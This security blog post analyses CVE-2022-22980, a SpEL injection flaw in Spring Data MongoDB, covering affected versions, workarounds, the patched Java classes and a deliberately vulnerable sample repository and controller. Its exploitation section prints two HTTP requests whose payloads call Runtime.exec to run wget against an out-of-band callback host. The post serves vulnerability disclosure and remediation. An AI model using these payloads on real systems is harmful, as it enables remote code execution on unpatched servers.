MongoDB
is a document-oriented NoSQL database with the scalable and flexible that used for high volume data storage. Instead of using tables and rows as in the traditional relational databases, MongoDB makes use of collections and documents. Documents consist of key-value pairs which are the basic unit of data in MongoDB.
Spring Data for MongoDB
is part of the umbrella Spring Data project which aims to provide a familiar and consistent Spring-based programming model for new datastores while retaining store-specific features and capabilities. The Spring Data MongoDB project provides integration with the MongoDB document database. Key functional areas of Spring Data MongoDB are a POJO centric model for interacting with a MongoDB DBCollection and easily writing a Repository style data access layer.
On 20th June 2022, VMware released a security advisory on its official website that related to SpEL Expression Injection (leads to remote code execution) vulnerability affecting Spring Data MongoDB. You can find detailed information about the CVE-2022-22980
vulnerability in the down below.
Vulnerability
A Spring Data MongoDB application is vulnerable to SpEL Injection when using @Query
or @Aggregation
annotated query methods with SpEL expressions that contain query parameter placeholders for value binding if the input is not sanitized. Alternatively, arrangements that expose repository query methods without involving additional application code (such as Spring Data REST) are vulnerable as well.
Specifically, an application is vulnerable when all of the following are true:
- a repository query method is annotated with
@Query
or@Aggregation
that make use of SpEL (Spring Expression Language) and use input parameter references (?0
,?1
, …) within the SpEL expression - the annotated query or aggregation value/pipeline contains SpEL parts using the parameter placeholder syntax within the expression
- the user supplied input is not sanitized by the application
- Spring Data MongoDB 3.4.0, 3.3.0 to 3.3.4, and older versions
An application is not vulnerable if any of the following is true:
- the annotated repository query or aggregation method does not contain expressions
- the annotated repository query or aggregation method does not use the parameter placeholder syntax within the expression
- the user supplied input is sanitized by the application
- the repository is configured to use a
QueryMethodEvaluationContextProvider
that limits SpEL usage
Affected Versions
Spring Data MongoDB 3.4.0, 3.3.0 to 3.3.4, and older versions are affected by CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection
vulnerability.
Status
Spring Data MongoDB 3.4.1 and 3.3.5, which contain the fixes, have been released.
Mitigation and Suggested Workarounds
The preferred response is to update to Spring Data MongoDB 3.4.1 and 3.3.5 or greater. If you have done this, then no workarounds are necessary. However, some may be in a position where upgrading is impossible to do quickly. For that reason, Spring team have provided some workarounds below.
Using array syntax:
if the application requires dynamic SpEL expressions that are controlled by user input, then rewrite query or aggregation declarations to use parameter references ([0]
instead of?0
) within the expressionImplementing a custom repository method:
Replacing the SpEL expression with a custom repository method implementation is a viable workaround to assemble your dynamic query within the application code. Refer to the reference documentation on repository customization for further details.- Sanitize parameters before calling the query method
Patch Analysis: GitHub Issue and Related Commits
GitHub issue for SpEL injection vulnerability can be accessible from github.com/spring-projects/spring-data-mongodb/issues/4089
.
With the help of the two commit in below, related vulnerability has been fixed.
With these commits spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java
class has been added.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}
spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java
spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java
class has also been modified as follow:
The final version (fixed) of spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java
class as follow:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
And thanks to the re-arrangement of ParameterBindingJsonReader.java
class, it ensured that the parameter type is preserved when binding parameters used within the value of the Query or Aggregation annotation. You can see commit changes on ParameterBindingJsonReader.java
class in down below screenshots:
Exploitation Steps
Before explaining the exploitation steps, the UserRepository.java
class of sample vulnerable project (using @Query
annotation) is illustrated as follow:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
The sample controller class UserController.java
that import com.example.mongodb.repository.UserRepository
namespace is also illustrated as follow:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
Exploitation Request & Response
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}
For more information about remediation of this vulnerability, please visit the following resources:
- VMware Advisory: Spring Data MongoDB SpEL Expression injection vulnerability through annotated repository query methods (CVE-2022-22980)
- Tenable Advisory: CVE-2022-22980
- Spring Advisory: Spring Data MongoDB SpEL Expression Injection Vulnerability (CVE-2022-22980)
- GitHub Advisory Database: SpEL Injection in Spring Data MongoDB
- NIST Advisory: CVE-2022-22980
- MITRE Advisory: CVE-2022-22980
Credits:
- This issue was identified and responsibly reported by Zewei Zhang from NSFOCUS TIANJI Lab.
- github.com/kuron3k0/Spring-Data-Mongodb-Example
- github.com/trganda/CVE-2022-22980
- github.com/li8u99/Spring-Data-Mongodb-Demo
- github.com/jweny/cve-2022-22980-exp